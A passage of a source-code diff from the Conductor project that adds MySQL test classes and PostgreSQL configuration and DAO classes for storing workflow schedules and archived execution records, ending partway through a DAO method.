+1,109 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.mysql.dao; + +import java.sql.Connection; + +import javax.sql.DataSource; + +import org.flywaydb.core.Flyway; +import org.junit.Before; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration; +import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.DependsOn; +import org.springframework.retry.support.RetryTemplate; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.ObjectMapperProvider; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.archive.SchedulerArchivalDAO; +import io.orkes.conductor.scheduler.dao.AbstractSchedulerArchivalDAOTest; + +/** + * Runs the full {@link AbstractSchedulerArchivalDAOTest} contract suite against a MySQL database + * provisioned by Testcontainers. + */ +@ContextConfiguration( + classes = { + DataSourceAutoConfiguration.class, + FlywayAutoConfiguration.class, + MySQLSchedulerArchivalDAOTest.MySQLTestConfiguration.class + }) +@RunWith(SpringRunner.class) +@SpringBootTest +@TestPropertySource( + properties = { + "spring.datasource.url=jdbc:tc:mysql:8.0:///scheduler_archival_test", + "spring.datasource.username=test", + "spring.datasource.password=test", + "spring.datasource.hikari.maximum-pool-size=4", + "spring.flyway.enabled=false" + }) +public class MySQLSchedulerArchivalDAOTest extends AbstractSchedulerArchivalDAOTest { + + @TestConfiguration + static class MySQLTestConfiguration { + + @Bean + public ObjectMapper objectMapper() { + return new ObjectMapperProvider().getObjectMapper(); + } + + @Bean(initMethod = "migrate") + public Flyway flywayForScheduler(DataSource dataSource) { + return Flyway.configure() + .locations("classpath:db/migration_scheduler_mysql") + .dataSource(dataSource) + .table("flyway_schema_history_scheduler") + .outOfOrder(true) + .baselineOnMigrate(true) + .baselineVersion("0") + .load(); + } + + @Bean + public RetryTemplate retryTemplate() { + return new RetryTemplate(); + } + + @Bean + @DependsOn("flywayForScheduler") + public SchedulerArchivalDAO schedulerArchivalDAO( + RetryTemplate retryTemplate, DataSource dataSource, ObjectMapper objectMapper) { + return new MySQLSchedulerArchivalDAO(retryTemplate, objectMapper, dataSource); + } + } + + @Autowired private SchedulerArchivalDAO schedulerArchivalDAO; + @Autowired private DataSource dataSource; + + @Before + public void cleanUp() throws Exception { + try (Connection conn = dataSource.getConnection()) { + conn.prepareStatement("DELETE FROM workflow_scheduled_executions").executeUpdate(); + } + } + + @Override + protected SchedulerArchivalDAO archivalDao() { + return schedulerArchivalDAO; + } +} diff --git a/scheduler/mysql-persistence/src/test/java/org/conductoross/conductor/scheduler/mysql/dao/MySQLSchedulerDAOTest.java b/scheduler/mysql-persistence/src/test/java/org/conductoross/conductor/scheduler/mysql/dao/MySQLSchedulerDAOTest.java new file mode 100644 index 0000000..e06a21c --- /dev/null +++ b/scheduler/mysql-persistence/src/test/java/org/conductoross/conductor/scheduler/mysql/dao/MySQLSchedulerDAOTest.java @@ -0,0 +1,106 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.mysql.dao; + +import javax.sql.DataSource; + +import org.flywaydb.core.Flyway; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration; +import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.DependsOn; +import org.springframework.retry.support.RetryTemplate; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.ObjectMapperProvider; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.scheduler.SchedulerDAO; +import io.orkes.conductor.scheduler.dao.AbstractSchedulerDAOTest; + +/** + * Runs the full {@link AbstractSchedulerDAOTest} contract suite against a MySQL database + * provisioned by Testcontainers. + * + *

    No test logic lives here — all tests are inherited from the abstract class. + */ +@ContextConfiguration( + classes = { + DataSourceAutoConfiguration.class, + FlywayAutoConfiguration.class, + MySQLSchedulerDAOTest.MySQLTestConfiguration.class + }) +@RunWith(SpringRunner.class) +@SpringBootTest +@TestPropertySource( + properties = { + "spring.datasource.url=jdbc:tc:mysql:8.0:///scheduler_test", + "spring.datasource.username=test", + "spring.datasource.password=test", + "spring.datasource.hikari.maximum-pool-size=4", + "spring.flyway.enabled=false" + }) +public class MySQLSchedulerDAOTest extends AbstractSchedulerDAOTest { + + @TestConfiguration + static class MySQLTestConfiguration { + + @Bean + public ObjectMapper objectMapper() { + return new ObjectMapperProvider().getObjectMapper(); + } + + @Bean(initMethod = "migrate") + public Flyway flywayForScheduler(DataSource dataSource) { + return Flyway.configure() + .locations("classpath:db/migration_scheduler_mysql") + .dataSource(dataSource) + .table("flyway_schema_history_scheduler") + .outOfOrder(true) + .baselineOnMigrate(true) + .baselineVersion("0") + .load(); + } + + @Bean + public RetryTemplate retryTemplate() { + return new RetryTemplate(); + } + + @Bean + @DependsOn("flywayForScheduler") + public SchedulerDAO schedulerDAO( + RetryTemplate retryTemplate, DataSource dataSource, ObjectMapper objectMapper) { + return new MySQLSchedulerDAO(retryTemplate, objectMapper, dataSource); + } + } + + @Autowired private SchedulerDAO schedulerDAO; + @Autowired private DataSource dataSource; + + @Override + protected SchedulerDAO dao() { + return schedulerDAO; + } + + @Override + protected DataSource dataSource() { + return dataSource; + } +} diff --git a/scheduler/mysql-persistence/src/test/java/org/conductoross/conductor/scheduler/mysql/service/MySQLSchedulerServiceIntegrationTest.java b/scheduler/mysql-persistence/src/test/java/org/conductoross/conductor/scheduler/mysql/service/MySQLSchedulerServiceIntegrationTest.java new file mode 100644 index 0000000..5d402a3 --- /dev/null +++ b/scheduler/mysql-persistence/src/test/java/org/conductoross/conductor/scheduler/mysql/service/MySQLSchedulerServiceIntegrationTest.java @@ -0,0 +1,105 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.mysql.service; + +import javax.sql.DataSource; + +import org.conductoross.conductor.scheduler.mysql.dao.MySQLSchedulerDAO; +import org.flywaydb.core.Flyway; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration; +import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.DependsOn; +import org.springframework.retry.support.RetryTemplate; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.ObjectMapperProvider; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.scheduler.SchedulerDAO; +import io.orkes.conductor.scheduler.service.AbstractSchedulerServiceIntegrationTest; + +/** + * Runs the full {@link AbstractSchedulerServiceIntegrationTest} suite against a MySQL database + * provisioned by Testcontainers. + */ +@ContextConfiguration( + classes = { + DataSourceAutoConfiguration.class, + FlywayAutoConfiguration.class, + MySQLSchedulerServiceIntegrationTest.MySQLTestConfiguration.class + }) +@RunWith(SpringRunner.class) +@SpringBootTest +@TestPropertySource( + properties = { + "spring.datasource.url=jdbc:tc:mysql:8.0:///scheduler_svc_test", + "spring.datasource.username=test", + "spring.datasource.password=test", + "spring.datasource.hikari.maximum-pool-size=4", + "spring.flyway.enabled=false" + }) +public class MySQLSchedulerServiceIntegrationTest extends AbstractSchedulerServiceIntegrationTest { + + @TestConfiguration + static class MySQLTestConfiguration { + + @Bean + public ObjectMapper objectMapper() { + return new ObjectMapperProvider().getObjectMapper(); + } + + @Bean(initMethod = "migrate") + public Flyway flywayForScheduler(DataSource dataSource) { + return Flyway.configure() + .locations("classpath:db/migration_scheduler_mysql") + .dataSource(dataSource) + .table("flyway_schema_history_scheduler") + .outOfOrder(true) + .baselineOnMigrate(true) + .baselineVersion("0") + .load(); + } + + @Bean + public RetryTemplate retryTemplate() { + return new RetryTemplate(); + } + + @Bean + @DependsOn("flywayForScheduler") + public SchedulerDAO schedulerDAO( + RetryTemplate retryTemplate, DataSource dataSource, ObjectMapper objectMapper) { + return new MySQLSchedulerDAO(retryTemplate, objectMapper, dataSource); + } + } + + @Autowired private SchedulerDAO schedulerDAO; + @Autowired private DataSource dataSource; + + @Override + protected SchedulerDAO dao() { + return schedulerDAO; + } + + @Override + protected DataSource dataSource() { + return dataSource; + } +} diff --git a/scheduler/mysql-persistence/src/test/resources/application.properties b/scheduler/mysql-persistence/src/test/resources/application.properties new file mode 100644 index 0000000..2f41374 --- /dev/null +++ b/scheduler/mysql-persistence/src/test/resources/application.properties @@ -0,0 +1,2 @@ +conductor.scheduler.enabled=true +spring.flyway.enabled=false diff --git a/scheduler/postgres-persistence/build.gradle b/scheduler/postgres-persistence/build.gradle new file mode 100644 index 0000000..df0ee53 --- /dev/null +++ b/scheduler/postgres-persistence/build.gradle @@ -0,0 +1,29 @@ +dependencies { + implementation project(':conductor-scheduler-core') + implementation project(':conductor-common') + implementation project(':conductor-core') + implementation project(':conductor-postgres-persistence') + + compileOnly 'org.springframework.boot:spring-boot-starter' + compileOnly 'org.springframework.retry:spring-retry' + + implementation "com.fasterxml.jackson.core:jackson-databind" + implementation "com.fasterxml.jackson.core:jackson-core" + + implementation "org.apache.commons:commons-lang3" + implementation "org.postgresql:postgresql:${revPostgres}" + implementation "org.flywaydb:flyway-core:${revFlyway}" + implementation "org.flywaydb:flyway-database-postgresql:${revFlyway}" + + testImplementation 'org.springframework.boot:spring-boot-starter' + testImplementation 'org.springframework.boot:spring-boot-starter-test' + testImplementation 'org.springframework.retry:spring-retry' + testImplementation "org.testcontainers:postgresql:${revTestContainer}" + testImplementation testFixtures(project(':conductor-scheduler-core')) +} + +test { + maxParallelForks = 1 + // Docker Desktop on macOS requires API v1.44+; docker-java defaults to v1.41 + environment 'DOCKER_API_VERSION', '1.44' +} diff --git a/scheduler/postgres-persistence/src/main/java/org/conductoross/conductor/scheduler/postgres/config/PostgresSchedulerConfiguration.java b/scheduler/postgres-persistence/src/main/java/org/conductoross/conductor/scheduler/postgres/config/PostgresSchedulerConfiguration.java new file mode 100644 index 0000000..4c14162 --- /dev/null +++ b/scheduler/postgres-persistence/src/main/java/org/conductoross/conductor/scheduler/postgres/config/PostgresSchedulerConfiguration.java @@ -0,0 +1,73 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.postgres.config; + +import javax.sql.DataSource; + +import org.conductoross.conductor.scheduler.postgres.dao.PostgresSchedulerArchivalDAO; +import org.conductoross.conductor.scheduler.postgres.dao.PostgresSchedulerDAO; +import org.flywaydb.core.Flyway; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.boot.autoconfigure.condition.ConditionalOnExpression; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.DependsOn; +import org.springframework.retry.support.RetryTemplate; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.archive.SchedulerArchivalDAO; +import io.orkes.conductor.dao.scheduler.SchedulerDAO; + +/** + * Spring auto-configuration that registers PostgreSQL-backed {@link SchedulerDAO} and {@link + * SchedulerArchivalDAO}. + * + *

    Active when {@code conductor.db.type=postgres} AND {@code conductor.scheduler.enabled=true}. + * Runs Flyway migrations for the scheduler tables in a dedicated history table so they do not + * conflict with the main Conductor migration history. + */ +@AutoConfiguration +@ConditionalOnExpression( + "'${conductor.db.type:}' == 'postgres' && '${conductor.scheduler.enabled:false}' == 'true'") +public class PostgresSchedulerConfiguration { + + @Bean(initMethod = "migrate") + public Flyway flywayForScheduler(DataSource dataSource) { + return Flyway.configure() + .locations("classpath:db/migration_scheduler") + .dataSource(dataSource) + .table("flyway_schema_history_scheduler") + .outOfOrder(true) + .baselineOnMigrate(true) + .baselineVersion("0") + .load(); + } + + @Bean + @DependsOn("flywayForScheduler") + public SchedulerDAO schedulerDAO( + @Qualifier("postgresRetryTemplate") RetryTemplate retryTemplate, + DataSource dataSource, + ObjectMapper objectMapper) { + return new PostgresSchedulerDAO(retryTemplate, objectMapper, dataSource); + } + + @Bean + @DependsOn("flywayForScheduler") + public SchedulerArchivalDAO schedulerArchivalDAO( + @Qualifier("postgresRetryTemplate") RetryTemplate retryTemplate, + DataSource dataSource, + ObjectMapper objectMapper) { + return new PostgresSchedulerArchivalDAO(retryTemplate, objectMapper, dataSource); + } +} diff --git a/scheduler/postgres-persistence/src/main/java/org/conductoross/conductor/scheduler/postgres/dao/PostgresSchedulerArchivalDAO.java b/scheduler/postgres-persistence/src/main/java/org/conductoross/conductor/scheduler/postgres/dao/PostgresSchedulerArchivalDAO.java new file mode 100644 index 0000000..eed77f2 --- /dev/null +++ b/scheduler/postgres-persistence/src/main/java/org/conductoross/conductor/scheduler/postgres/dao/PostgresSchedulerArchivalDAO.java @@ -0,0 +1,287 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.postgres.dao; + +import java.sql.ResultSet; +import java.sql.SQLException; +import java.util.*; + +import javax.sql.DataSource; + +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.postgres.dao.PostgresBaseDAO; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.archive.SchedulerArchivalDAO; +import io.orkes.conductor.dao.archive.SchedulerSearchQuery; +import io.orkes.conductor.scheduler.model.WorkflowScheduleExecutionModel; + +/** + * PostgreSQL implementation of {@link SchedulerArchivalDAO}. + * + *

    Extends {@link PostgresBaseDAO} for connection/transaction management. Archival execution + * records are stored in the {@code workflow_scheduled_executions} table with individual columns for + * efficient querying. Managed by Flyway ({@code db/migration_scheduler}). + */ +public class PostgresSchedulerArchivalDAO extends PostgresBaseDAO implements SchedulerArchivalDAO { + + private static final String DAO_NAME = "postgres"; + + private static final String SELECT_COLUMNS = + "execution_id, schedule_name, workflow_name, workflow_id," + + " reason, stack_trace, state, scheduled_time, execution_time," + + " start_workflow_request"; + + public PostgresSchedulerArchivalDAO( + RetryTemplate retryTemplate, ObjectMapper objectMapper, DataSource dataSource) { + super(retryTemplate, objectMapper, dataSource); + } + + @Override + public void saveExecutionRecord(WorkflowScheduleExecutionModel model) { + Monitors.recordDaoRequests(DAO_NAME, "saveArchivalRecord", "n/a", "n/a"); + String sql = + """ + INSERT INTO workflow_scheduled_executions + (execution_id, schedule_name, workflow_name, workflow_id, + reason, stack_trace, state, scheduled_time, execution_time, + start_workflow_request) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?) + ON CONFLICT (execution_id) + DO UPDATE SET schedule_name = EXCLUDED.schedule_name, + workflow_name = EXCLUDED.workflow_name, + workflow_id = EXCLUDED.workflow_id, + reason = EXCLUDED.reason, + stack_trace = EXCLUDED.stack_trace, + state = EXCLUDED.state, + scheduled_time = EXCLUDED.scheduled_time, + execution_time = EXCLUDED.execution_time, + start_workflow_request = EXCLUDED.start_workflow_request + """; + executeWithTransaction( + sql, + q -> + q.addParameter(model.getExecutionId()) + .addParameter(model.getScheduleName()) + .addParameter(model.getWorkflowName()) + .addParameter(model.getWorkflowId()) + .addParameter(model.getReason()) + .addParameter(model.getStackTrace()) + .addParameter( + model.getState() != null ? model.getState().name() : null) + .addParameter( + model.getScheduledTime() != null + ? model.getScheduledTime() + : 0L) + .addParameter( + model.getExecutionTime() != null + ? model.getExecutionTime() + : 0L) + .addParameter( + model.getStartWorkflowRequest() != null + ? toJson(model.getStartWorkflowRequest()) + : null) + .executeUpdate()); + } + + @Override + public SearchResult searchScheduledExecutions( + String query, String freeText, int start, int count, List sort) { + Monitors.recordDaoRequests(DAO_NAME, "searchScheduledExecutions", "n/a", "n/a"); + StringBuilder where = new StringBuilder(" WHERE 1=1"); + List params = new ArrayList<>(); + + SchedulerSearchQuery parsed = SchedulerSearchQuery.parse(query); + if (parsed.hasScheduleNames()) { + String placeholders = + String.join(",", Collections.nCopies(parsed.getScheduleNames().size(), "?")); + where.append(" AND schedule_name IN (").append(placeholders).append(")"); + params.addAll(parsed.getScheduleNames()); + } + if (parsed.hasStates()) { + String placeholders = + String.join(",", Collections.nCopies(parsed.getStates().size(), "?")); + where.append(" AND state IN (").append(placeholders).append(")"); + params.addAll(parsed.getStates()); + } + if (parsed.getScheduledTimeAfter() != null) { + where.append(" AND scheduled_time > ?"); + params.add(parsed.getScheduledTimeAfter()); + } + if (parsed.getScheduledTimeBefore() != null) { + where.append(" AND scheduled_time < ?"); + params.add(parsed.getScheduledTimeBefore()); + } + if (parsed.hasWorkflowName()) { + where.append(" AND workflow_name ILIKE ?"); + params.add("%" + parsed.getWorkflowName() + "%"); + } + if (parsed.hasExecutionId()) { + where.append(" AND execution_id = ?"); + params.add(parsed.getExecutionId()); + } + + String countSql = "SELECT COUNT(*) FROM workflow_scheduled_executions" + where; + long totalHits = + queryWithTransaction( + countSql, q -> q.addParameters(params.toArray()).executeCount()); + + String orderBy = buildOrderByClause(sort); + String dataSql = + "SELECT execution_id FROM workflow_scheduled_executions" + + where + + orderBy + + " LIMIT ? OFFSET ?"; + List dataParams = new ArrayList<>(params); + dataParams.add(count); + dataParams.add(start); + + List ids = + queryWithTransaction( + dataSql, + q -> q.addParameters(dataParams.toArray()).executeScalarList(String.class)); + + return new SearchResult<>(totalHits, ids); + } + + private static String buildOrderByClause(List sortOptions) { + if (sortOptions == null || sortOptions.isEmpty()) { + return " ORDER BY scheduled_time DESC"; + } + List orderClauses = new ArrayList<>(); + for (String sortOption : sortOptions) { + String[] parts = sortOption.split(":"); + String field = parts[0].trim(); + String direction = + parts.length > 1 && "ASC".equalsIgnoreCase(parts[1].trim()) ? "ASC" : "DESC"; + String column = SchedulerSearchQuery.resolveColumnName(field); + orderClauses.add(column + " " + direction); + } + return " ORDER BY " + String.join(", ", orderClauses); + } + + @Override + public Map getExecutionsByIds( + Set executionIds) { + Monitors.recordDaoRequests(DAO_NAME, "getExecutionsByIds", "n/a", "n/a"); + if (executionIds == null || executionIds.isEmpty()) { + return new HashMap<>(); + } + String sql = + "SELECT " + + SELECT_COLUMNS + + " FROM workflow_scheduled_executions WHERE execution_id = ANY(?)"; + List list = + queryWithTransaction( + sql, + q -> { + q.addParameter(new ArrayList<>(executionIds)); + return q.executeAndFetch(this::mapRows); + }); + Map result = new HashMap<>(); + for (WorkflowScheduleExecutionModel m : list) { + result.put(m.getExecutionId(), m); + } + return result; + } + + @Override + public WorkflowScheduleExecutionModel getExecutionById(String executionId) { + Monitors.recordDaoRequests(DAO_NAME, "getExecutionById", "n/a", "n/a"); + String sql = + "SELECT " + + SELECT_COLUMNS + + " FROM workflow_scheduled_executions WHERE execution_id = ?"; + return queryWithTransaction( + sql, + q -> { + q.addParameter(executionId); + List list = q.executeAndFetch(this::mapRows); + return list.isEmpty() ? null : list.get(0); + }); + } + + @Override + public void cleanupOldRecords(int archivalMaxRecords, int archivalMaxRecordThreshold) { + Monitors.recordDaoRequests(DAO_NAME, "cleanupOldRecords", "n/a", "n/a"); + String schedSql = + "SELECT schedule_name FROM workflow_scheduled_executions" + + " GROUP BY schedule_name HAVING COUNT(*) > ?"; + List scheduleNames = + queryWithTransaction( + schedSql, + q -> + q.addParameter(archivalMaxRecordThreshold) + .executeScalarList(String.class)); + + for (String scheduleName : scheduleNames) { + String deleteSql = + """ + DELETE FROM workflow_scheduled_executions + WHERE execution_id IN ( + SELECT execution_id FROM workflow_scheduled_executions + WHERE schedule_name = ? + ORDER BY scheduled_time DESC + OFFSET ? + ) + """; + executeWithTransaction( + deleteSql, + q -> + q.addParameter(scheduleName) + .addParameter(archivalMaxRecords) + .executeDelete()); + } + } + + private List mapRows(ResultSet rs) throws SQLException { + List list = new ArrayList<>(); + while (rs.next()) { + list.add(mapRow(rs)); + } + return list; + } + + private WorkflowScheduleExecutionModel mapRow(ResultSet rs) throws SQLException { + WorkflowScheduleExecutionModel model = new WorkflowScheduleExecutionModel(); + model.setExecutionId(rs.getString("execution_id")); + model.setScheduleName(rs.getString("schedule_name")); + model.setWorkflowName(rs.getString("workflow_name")); + model.setWorkflowId(rs.getString("workflow_id")); + model.setReason(rs.getString("reason")); + model.setStackTrace(rs.getString("stack_trace")); + String stateStr = rs.getString("state"); + if (stateStr != null) { + model.setState(WorkflowScheduleExecutionModel.State.valueOf(stateStr)); + } + long scheduledTime = rs.getLong("scheduled_time"); + model.setScheduledTime(rs.wasNull() ? null : scheduledTime); + long executionTime = rs.getLong("execution_time"); + model.setExecutionTime(rs.wasNull() ? null : executionTime); + String swrJson = rs.getString("start_workflow_request"); + if (swrJson != null && !swrJson.isEmpty()) { + try { + model.setStartWorkflowRequest( + objectMapper.readValue(swrJson, StartWorkflowRequest.class)); + } catch (Exception e) { + throw new NonTransientException("Failed to deserialize StartWorkflowRequest", e); + } + } + return model; + } +} diff --git a/scheduler/postgres-persistence/src/main/java/org/conductoross/conductor/scheduler/postgres/dao/PostgresSchedulerDAO.java b/scheduler/postgres-persistence/src/main/java/org/conductoross/conductor/scheduler/postgres/dao/PostgresSchedulerDAO.java new file mode 100644 index 0000000..446417a --- /dev/null +++ b/scheduler/postgres-persistence/src/main/java/org/conductoross/conductor/scheduler/postgres/dao/PostgresSchedulerDAO.java @@ -0,0 +1,275 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.postgres.dao; + +import java.util.*; + +import javax.sql.DataSource; + +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.postgres.dao.PostgresBaseDAO; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.scheduler.SchedulerDAO; +import io.orkes.conductor.scheduler.model.WorkflowScheduleExecutionModel; +import io.orkes.conductor.scheduler.model.WorkflowScheduleModel; + +/** + * PostgreSQL implementation of {@link SchedulerDAO}. + * + *

    Mirrors the Orkes Conductor schema: schedules and execution records are stored as JSON blobs + * in {@code scheduler} and {@code scheduler_execution} tables respectively. The {@code + * scheduler_execution} table additionally carries {@code schedule_name} and {@code state} columns + * to support efficient queries (OSS has no queue infrastructure to offload this work). + * + *

    Managed by Flyway ({@code db/migration_scheduler}). + */ +public class PostgresSchedulerDAO extends PostgresBaseDAO implements SchedulerDAO { + + private static final String DAO_NAME = "postgres"; + + public PostgresSchedulerDAO( + RetryTemplate retryTemplate, ObjectMapper objectMapper, DataSource dataSource) { + super(retryTemplate, objectMapper, dataSource); + } + + @Override + public void updateSchedule(WorkflowScheduleModel schedule) { + Monitors.recordDaoRequests(DAO_NAME, "updateSchedule", "n/a", "n/a"); + withTransaction( + tx -> { + execute( + tx, + """ + INSERT INTO scheduler (scheduler_name, workflow_name, json_data, next_run_time) + VALUES (?, ?, ?, ?) + ON CONFLICT (scheduler_name) + DO UPDATE SET workflow_name = EXCLUDED.workflow_name, + json_data = EXCLUDED.json_data, + next_run_time = EXCLUDED.next_run_time + """, + q -> { + q.addParameter(schedule.getName()) + .addParameter( + schedule.getStartWorkflowRequest() != null + ? schedule.getStartWorkflowRequest() + .getName() + : null) + .addParameter(toJson(schedule)) + .addParameter(schedule.getNextRunTime()) + .executeUpdate(); + }); + // Reset the cached next-run-time so SchedulerService can set a fresh value + // via setNextRunTimeInEpoch after recomputing the schedule. + execute( + tx, + "DELETE FROM scheduler_next_run WHERE key = ?", + q -> q.addParameter(schedule.getName()).executeDelete()); + }); + } + + @Override + public WorkflowScheduleModel findScheduleByName(String name) { + Monitors.recordDaoRequests(DAO_NAME, "findScheduleByName", "n/a", "n/a"); + String sql = "SELECT json_data FROM scheduler WHERE scheduler_name = ?"; + return queryWithTransaction( + sql, q -> q.addParameter(name).executeAndFetchFirst(WorkflowScheduleModel.class)); + } + + @Override + public List getAllSchedules() { + Monitors.recordDaoRequests(DAO_NAME, "getAllSchedules", "n/a", "n/a"); + return queryWithTransaction( + "SELECT json_data FROM scheduler", + q -> q.executeAndFetch(WorkflowScheduleModel.class)); + } + + @Override + public List findAllSchedules(String workflowName) { + Monitors.recordDaoRequests(DAO_NAME, "findAllSchedules", "n/a", "n/a"); + String sql = "SELECT json_data FROM scheduler WHERE workflow_name = ?"; + return queryWithTransaction( + sql, + q -> q.addParameter(workflowName).executeAndFetch(WorkflowScheduleModel.class)); + } + + @Override + public Map findAllByNames(Set names) { + Monitors.recordDaoRequests(DAO_NAME, "findAllByNames", "n/a", "n/a"); + if (names == null || names.isEmpty()) { + return new HashMap<>(); + } + String sql = "SELECT json_data FROM scheduler WHERE scheduler_name = ANY(?)"; + List schedules = + queryWithTransaction( + sql, + q -> { + q.addParameter(new ArrayList<>(names)); + return q.executeAndFetch(WorkflowScheduleModel.class); + }); + Map result = new HashMap<>(); + for (WorkflowScheduleModel s : schedules) { + result.put(s.getName(), s); + } + return result; + } + + @Override + public void deleteWorkflowSchedule(String name) { + Monitors.recordDaoRequests(DAO_NAME, "deleteWorkflowSchedule", "n/a", "n/a"); + withTransaction( + tx -> { + execute( + tx, + "DELETE FROM scheduler_execution WHERE schedule_name = ?", + q -> q.addParameter(name).executeDelete()); + execute( + tx, + "DELETE FROM scheduler_next_run WHERE key = ?", + q -> q.addParameter(name).executeDelete()); + execute( + tx, + "DELETE FROM scheduler WHERE scheduler_name = ?", + q -> q.addParameter(name).executeDelete()); + }); + } + + @Override + public void saveExecutionRecord(WorkflowScheduleExecutionModel execution) { + Monitors.recordDaoRequests(DAO_NAME, "saveExecutionRecord", "n/a", "n/a"); + String sql = + """ + INSERT INTO scheduler_execution (execution_id, schedule_name, state, json_data) + VALUES (?, ?, ?, ?) + ON CONFLICT (execution_id) + DO UPDATE SET state = EXCLUDED.state, + json_data = EXCLUDED.json_data + """; + executeWithTransaction( + sql, + q -> + q.addParameter(execution.getExecutionId()) + .addParameter(execution.getScheduleName()) + .addParameter( + execution.getState() != null + ? execution.getState().name() + : null) + .addParameter(toJson(execution)) + .executeUpdate()); + } + + @Override + public WorkflowScheduleExecutionModel readExecutionRecord(String executionId) { + Monitors.recordDaoRequests(DAO_NAME, "readExecutionRecord", "n/a", "n/a"); + String sql = "SELECT json_data FROM scheduler_execution WHERE execution_id = ?"; + return queryWithTransaction( + sql, + q -> + q.addParameter(executionId) + .executeAndFetchFirst(WorkflowScheduleExecutionModel.class)); + } + + @Override + public void removeExecutionRecord(String executionId) { + Monitors.recordDaoRequests(DAO_NAME, "removeExecutionRecord", "n/a", "n/a"); + executeWithTransaction( + "DELETE FROM scheduler_execution WHERE execution_id = ?", + q -> q.addParameter(executionId).executeDelete()); + } + + @Override + public List getPendingExecutionRecordIds() { + 